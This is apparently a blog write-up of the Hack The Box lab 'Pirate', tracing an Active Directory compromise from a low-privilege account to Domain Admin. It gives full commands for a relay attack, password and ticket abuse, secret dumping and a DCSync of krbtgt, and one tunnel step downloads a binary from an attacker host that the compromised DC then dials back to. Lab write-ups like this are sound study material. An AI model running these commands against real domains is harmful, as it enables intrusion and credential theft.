Back to blog
← Back to posts

HTB: Pirate

HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools

Pirate is an assumed-breach Active Directory box — you start with one low-privilege domain account — and every hop is a credential that was never supposed to be reachable. A pre-Windows 2000 machine account still holds the bootstrap password it was created with, which bootstraps Kerberos. That account can read a gMSA's managed password, and the gMSA is in Remote Management Users → a WinRM shell on the DC. The DC is dual-homed, hiding an internal web server, so the next move is a classic NTLM relay: coerce the web server's machine account with PrinterBug, relay it to LDAP, and write resource-based constrained delegation so we can impersonate its local admin and pull a real domain user out of LSA. That user can ForceChangePassword a delegation account, and the delegation account's constrained-delegation SPN is mutable — so we SPN-jack it onto the DC and mint a Domain Admin ticket to the DC itself. The whole thing was driven from a Mac, which added a few of its own puzzles.
pentest pre2k MS01$ gMSA → WinRM (DC01) RBCD relay (WEB01) a.white (user) ForceChangePassword SPN-jack → DA

Reconnaissance

The box hands you a starting credential — pentest : p3nt3st2025!& — so this is assumed-breach: no exploit for the front door, just an authenticated foothold inside the domain. A quick sweep is textbook domain controller: Kerberos, LDAP, the global catalog, SMB, and WinRM. Server 2019, domain pirate.htb, hostname DC01.

nmap + credential check
$ nmap -Pn -p88,389,445,3268,5985 --open <DC_IP> 88/tcp open kerberos-sec 389/tcp open ldap 445/tcp open microsoft-ds 3268/tcp open globalcatLDAP 5985/tcp open wsman $ nxc smb <DC_IP> -u pentest -p 'p3nt3st2025!&' SMB <DC_IP> 445 DC01 [*] Windows Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:True) SMB <DC_IP> 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&

Add the names to /etc/hosts (pirate.htb, dc01.pirate.htb) — Kerberos resolves service principals by hostname, so working by IP alone breaks the moment you touch a ticket.

Foothold — a pre-Windows 2000 machine account

Enumerating computer objects over LDAP turns up more than the two hosts you'd expect:

nxc ldap --computers
$ nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' --computers DC01$ WEB01$ MS01$ EXCH01$ gMSA_ADCS_prod$ gMSA_ADFS_prod$

Two machine accounts — MS01$ and EXCH01$ — carry the Pre-Windows 2000 flag. When an admin pre-creates a computer object for a host that hasn't joined the domain yet, its initial password is set to the lowercase sAMAccountName without the trailing dollar sign. If the host never joins (lastLogon = 0), that bootstrap password is still live. netexec's pre2k module flags exactly this:

pre2k discovery
$ nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' -M pre2k PRE2K Pre-created computer account: MS01$ PRE2K Pre-created computer account: EXCH01$

So MS01$'s password should be ms01. You can't test that with a normal logon, though — machine accounts refuse interactive/NTLM authentication (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT). Everything from here on is Kerberos-only. Grab a TGT to prove the password and to carry into the next step:

getTGT — MS01$
$ getTGT.py 'pirate.htb/MS01$:ms01' -dc-ip <DC_IP> [*] Saving ticket in MS01$.ccache $ export KRB5CCNAME=MS01\$.ccache
macOS aside: the DC's clock was +7 hours off mine, so every raw Kerberos call died with KRB_AP_ERR_SKEW. Rather than reset the system clock I wrapped Impacket in faketime -f '+7h' <tool>. bloodyAD is nicer — it detects the skew and retries automatically. More on the macOS quirks at the end.

gMSA — reading a managed password → WinRM on the DC

A group Managed Service Account has a 240-byte password that AD rotates on its own and never shows an admin. The catch: any principal listed in the gMSA's msDS-GroupMSAMembership (the "principals allowed to retrieve managed password" set) can read the blob over LDAP and derive the NT hash from it. Our freshly-owned MS01$ is such a principal. bloodyAD reads it and hands back the hash directly:

bloodyAD — read gMSA managed password
$ KRB5CCNAME=MS01\$.ccache bloodyAD --host dc01.pirate.htb -d pirate.htb -k \ get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPassword Clock skew detected. Adjusting local time by 6:59:59. Retrying operation. distinguishedName: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb msDS-ManagedPassword.NT: e819498e................................

That NT hash is a full credential for gMSA_ADFS_prod$ — and the account happens to be in Remote Management Users, so it can log in over WinRM. netexec confirms admin-level exec, and evil-winrm drops a shell on the DC:

WinRM as gMSA_ADFS_prod$
$ nxc winrm dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H e819498e... WINRM dc01.pirate.htb 5985 DC01 [+] pirate.htb\gMSA_ADFS_prod$:e819498e... (Pwn3d!) $ evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H e819498e...

First thing inside: ipconfig. The DC is dual-homed.

DC01 interfaces
PS> ipconfig IPv4 Address. . . . . . : 192.168.100.1 # internal IPv4 Address. . . . . . : <DC_IP> # the network we came in on

There's a 192.168.100.0/24 behind the DC, and from the earlier LDAP dump we know WEB01$ lives there — 192.168.100.2, unreachable directly. The flags aren't on the DC's readable desktops, so the next objective is that internal host. Time to pivot.

Pivoting to the internal net (from macOS)

The house tunnel for this is ligolo, but its TUN + interactive console is awkward to script on macOS, so I used chisel reverse SOCKS instead — fully non-interactive, no root needed for the proxy itself. Run the server on the attack box, stage the client onto the DC over the WinRM shell, and dial back:

chisel reverse SOCKS
# attacker $ ./chisel server --reverse --socks5 -p 9001 # on DC01, via the WinRM shell — download + dial back PS> iwr http://<ATTACKER>:8000/chisel.exe -OutFile C:\Windows\Temp\c.exe PS> C:\Windows\Temp\c.exe client <ATTACKER>:9001 R:socks server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
One gotcha worth knowing: a child process started from a one-shot WinRM command gets killed when that command's job object tears down. Keep the WinRM channel that launched chisel open (run it in the foreground of a backgrounded session) so the tunnel survives.

With SOCKS up on 127.0.0.1:1080, WEB01 is reachable — 445, 135, 5985 and an HTTP service on 80. A note for fellow Mac users: netexec breaks under proxychains (its multiprocessing workers don't inherit the DYLD_INSERT_LIBRARIES hook), but single-process Impacket scripts proxy fine. So the enumeration and every relay-adjacent step below run as proxychains4 <impacket-tool>.

WEB01 — NTLM relay → RBCD → a domain user

The gMSA can authenticate to WEB01 but isn't a local admin there (rpc_s_access_denied on a secrets dump). What WEB01 does have is SMB signing disabled — the green light for an NTLM relay. The plan:

  1. Coerce WEB01$ into authenticating to us (PrinterBug / MS-RPRN).
  2. Relay that machine-account auth to the DC's LDAP.
  3. Use it to write resource-based constrained delegation on WEB01$, trusting a computer account we control.
  4. S4U ourselves an Administrator ticket to WEB01 and dump its secrets.

First, create the computer account we'll delegate through — any authenticated user can, up to ms-DS-MachineAccountQuota (default 10):

add a controllable computer account
$ addcomputer.py -computer-name 'hackpuntes$' -computer-pass '1Qwerty!' \ -dc-host dc01.pirate.htb -hashes :e819498e... 'pirate.htb/gMSA_ADFS_prod$' [*] Successfully added machine account hackpuntes$ with password 1Qwerty!.

Start the relay pointing at LDAP, telling it to configure delegation for our new account. --remove-mic is the drop-the-MIC trick that lets an SMB→LDAP relay through even with a MIC present; the DC's LDAP isn't enforcing signing, so it lands. Binding the SMB server on 445 needs root:

ntlmrelayx — RBCD attack
$ sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --remove-mic \ --delegate-access --escalate-user 'hackpuntes$' [*] Servers started, waiting for connections

Now the coercion. PrinterBug's RpcRemoteFindFirstPrinterChangeNotificationEx makes the target's spooler authenticate back to any host we name. We send the RPC to WEB01 through the SOCKS tunnel and point the callback at our own VPN IP:

PrinterBug coercion (through proxychains)
$ proxychains4 python3 printerbug.py -no-ping \ -hashes :e819498e... 'pirate.htb/gMSA_ADFS_prod$'@192.168.100.2 <ATTACKER> [*] Attempting to trigger authentication via rprn RPC at 192.168.100.2 [*] Triggered RPC backconnect, this may or may not have worked

It worked — the spooler's callback reached my VPN address (routed out through the DC), and the relay did its job:

ntlmrelayx — result
[*] Authenticating connection from PIRATE/WEB01$ ... against ldap://<DC_IP> SUCCEED [*] Delegation rights modified succesfully! [*] hackpuntes$ can now impersonate users on WEB01$ via S4U2Proxy

RBCD is set. Now S4U2Self+S4U2Proxy as hackpuntes$ to get a cifs/WEB01 ticket as Administrator, then dump WEB01's secrets across the tunnel:

S4U → secretsdump WEB01
$ faketime -f '+7h' getST.py -spn cifs/WEB01.pirate.htb -impersonate Administrator \ 'pirate.htb/hackpuntes$:1Qwerty!' -dc-ip <DC_IP> [*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache $ KRB5CCNAME=Administrator@cifs_WEB01...ccache \ proxychains4 secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb Administrator:500:aad3b435...:b1aac158...::: # WEB01 local admin [*] DefaultPassword PIRATE\a.white:E2nvAOKSz5Xz2MJu # LSA autologon secret

The prize is in LSA secrets: an autologon DefaultPassword for a real domain user, a.white, sitting in cleartext. That's the account whose desktop holds the user flag — read it straight off WEB01 with the Administrator ticket we already have:

user.txt
$ proxychains4 smbclient.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb # use C$ # get Users\a.white\Desktop\user.txt [redacted — user flag]

Lateral — ForceChangePassword to a delegation account

Back to the domain with real user creds. a.white holds a ForceChangePassword right over a.white_adm — the ability to reset that account's password without knowing the old one. The DC is directly reachable, so no tunnel needed here:

reset a.white_adm
$ bloodyAD --host dc01.pirate.htb -d pirate.htb -u a.white -p 'E2nvAOKSz5Xz2MJu' \ set password 'a.white_adm' '1Qwerty!' [+] Password changed successfully!

Why a.white_adm matters becomes clear the moment you look at its delegation config:

findDelegation
$ findDelegation.py 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> AccountName DelegationType DelegationRightsTo ----------- ---------------------------------- --------------------- a.white_adm Constrained w/ Protocol Transition http/WEB01.pirate.htb

Constrained delegation with protocol transition (the account's TRUSTED_TO_AUTH_FOR_DELEGATION flag) means a.white_adm can call S4U2Self to fabricate a usable ticket for any user, then S4U2Proxy to forward it to the service named in msDS-AllowedToDelegateTo — here, http/WEB01.pirate.htb. On paper that only lets us hit a web service on WEB01, which we already own. The trick is what "the SPN" actually points at.

Root — SPN-jacking constrained delegation onto the DC

When the KDC issues an S4U2Proxy ticket for http/WEB01.pirate.htb, it encrypts that ticket with the long-term key of whatever account currently owns that SPN. Right now that's WEB01$. But SPNs are just multi-valued attributes, they must be unique in the forest, and — crucially — a.white_adm can write servicePrincipalName on both WEB01$ and DC01$. So move the SPN: delete http/WEB01.pirate.htb from WEB01$, add it to DC01$. Now the same S4U2Proxy request yields a ticket encrypted with the DC's key.

I did the move surgically with ldapmodify so the DC's other 24 SPNs stayed untouched (order matters — delete before add, or the uniqueness constraint rejects it):

move the SPN WEB01$ → DC01$
# delete from WEB01$ $ ldapmodify -x -H ldap://<DC_IP> -D 'a.white_adm@pirate.htb' -w '1Qwerty!' <<'EOF' dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb changetype: modify delete: servicePrincipalName servicePrincipalName: HTTP/WEB01.pirate.htb EOF # add to DC01$ $ ldapmodify -x -H ldap://<DC_IP> -D 'a.white_adm@pirate.htb' -w '1Qwerty!' <<'EOF' dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb changetype: modify add: servicePrincipalName servicePrincipalName: HTTP/WEB01.pirate.htb EOF modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb" modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"

Now the payoff. Request the delegated ticket for http/WEB01.pirate.htb impersonating administrator — it comes back sealed with DC01$'s key — and use -altservice to rewrite the service name in the ticket to cifs/DC01. That sname substitution is legal because both service classes are served by the same account key, and it turns a "web" ticket into an SMB ticket to the domain controller:

getST — S4U + altservice
$ faketime -f '+7h' getST.py -spn 'http/WEB01.pirate.htb' -impersonate administrator \ 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> -altservice 'cifs/DC01.pirate.htb' [*] Requesting S4U2Proxy [*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB [*] Saving ticket in administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

That's an Administrator ticket to the DC's own cifs service — game over. Read the root flag, and DCSync to make the domain compromise explicit:

root.txt + DCSync
$ KRB5CCNAME=administrator@cifs_DC01...ccache faketime -f '+7h' \ smbclient.py -k -no-pass dc01.pirate.htb # use C$ # get Users\Administrator\Desktop\root.txt [redacted — root flag] $ KRB5CCNAME=administrator@cifs_DC01...ccache faketime -f '+7h' \ secretsdump.py -k -no-pass -just-dc-user krbtgt dc01.pirate.htb krbtgt:502:aad3b435...:33071738...::: # golden-ticket capable
Constrained delegation gates which service you can reach, never which account owns that service's name. If a principal can rewrite servicePrincipalName on a computer object — especially the DC — then the delegation target it "safely" points at is a moving object. Treat write access to servicePrincipalName on privileged accounts as equivalent to control of everything that delegates to them.

Operator notes — running this from macOS

None of the tradecraft changes on a Mac, but a few sharp edges are worth writing down:

Why it worked

StageRoot cause
→ MS01$Pre-Windows 2000 machine account never joined, still holding its bootstrap password = lowercase name (weak default credential, CWE-1392)
→ DC01 (WinRM)gMSA managed password readable by an account we now control — over-broad msDS-GroupMSAMembership
→ WEB01 / a.whiteSMB signing disabled + machine-account coercion (PrinterBug) → NTLM relay to LDAP → RBCD; domain creds left in an LSA autologon secret (CWE-294 / CWE-522)
→ a.white_admForceChangePassword DACL over a privileged, delegation-enabled account (CWE-269)
→ Domain AdminConstrained-delegation SPN is mutable; writable servicePrincipalName on the DC lets you SPN-jack the target onto DC01$ (CWE-266)

Key commands

quick reference
# 1. pre2k machine account → Kerberos TGT nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' -M pre2k getTGT.py 'pirate.htb/MS01$:ms01' -dc-ip <DC_IP> # 2. read gMSA managed password → WinRM on DC01 KRB5CCNAME=MS01$.ccache bloodyAD --host dc01.pirate.htb -d pirate.htb -k get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPassword evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H <gmsa-hash> # 3. pivot to 192.168.100.0/24 (chisel reverse SOCKS) ./chisel server --reverse --socks5 -p 9001 # attacker c.exe client <ATTACKER>:9001 R:socks # on DC01 # 4. RBCD via relay + PrinterBug → a.white (user.txt) addcomputer.py -computer-name 'hackpuntes$' -computer-pass '1Qwerty!' -dc-host dc01.pirate.htb -hashes :<gmsa-hash> 'pirate.htb/gMSA_ADFS_prod$' sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --remove-mic --delegate-access --escalate-user 'hackpuntes$' proxychains4 python3 printerbug.py -no-ping -hashes :<gmsa-hash> 'pirate.htb/gMSA_ADFS_prod$'@192.168.100.2 <ATTACKER> faketime -f '+7h' getST.py -spn cifs/WEB01.pirate.htb -impersonate Administrator 'pirate.htb/hackpuntes$:1Qwerty!' -dc-ip <DC_IP> proxychains4 secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb # 5. ForceChangePassword + SPN-jack → Domain Admin (root.txt) bloodyAD --host dc01.pirate.htb -d pirate.htb -u a.white -p '<pw>' set password 'a.white_adm' '1Qwerty!' ldapmodify ... delete HTTP/WEB01.pirate.htb from WEB01$ ; add it to DC01$ faketime -f '+7h' getST.py -spn 'http/WEB01.pirate.htb' -impersonate administrator 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> -altservice 'cifs/DC01.pirate.htb' faketime -f '+7h' secretsdump.py -k -no-pass -just-dc dc01.pirate.htb
HackTheBoxMy HTB profile & more boxes GitHubOpen-source security & automation tools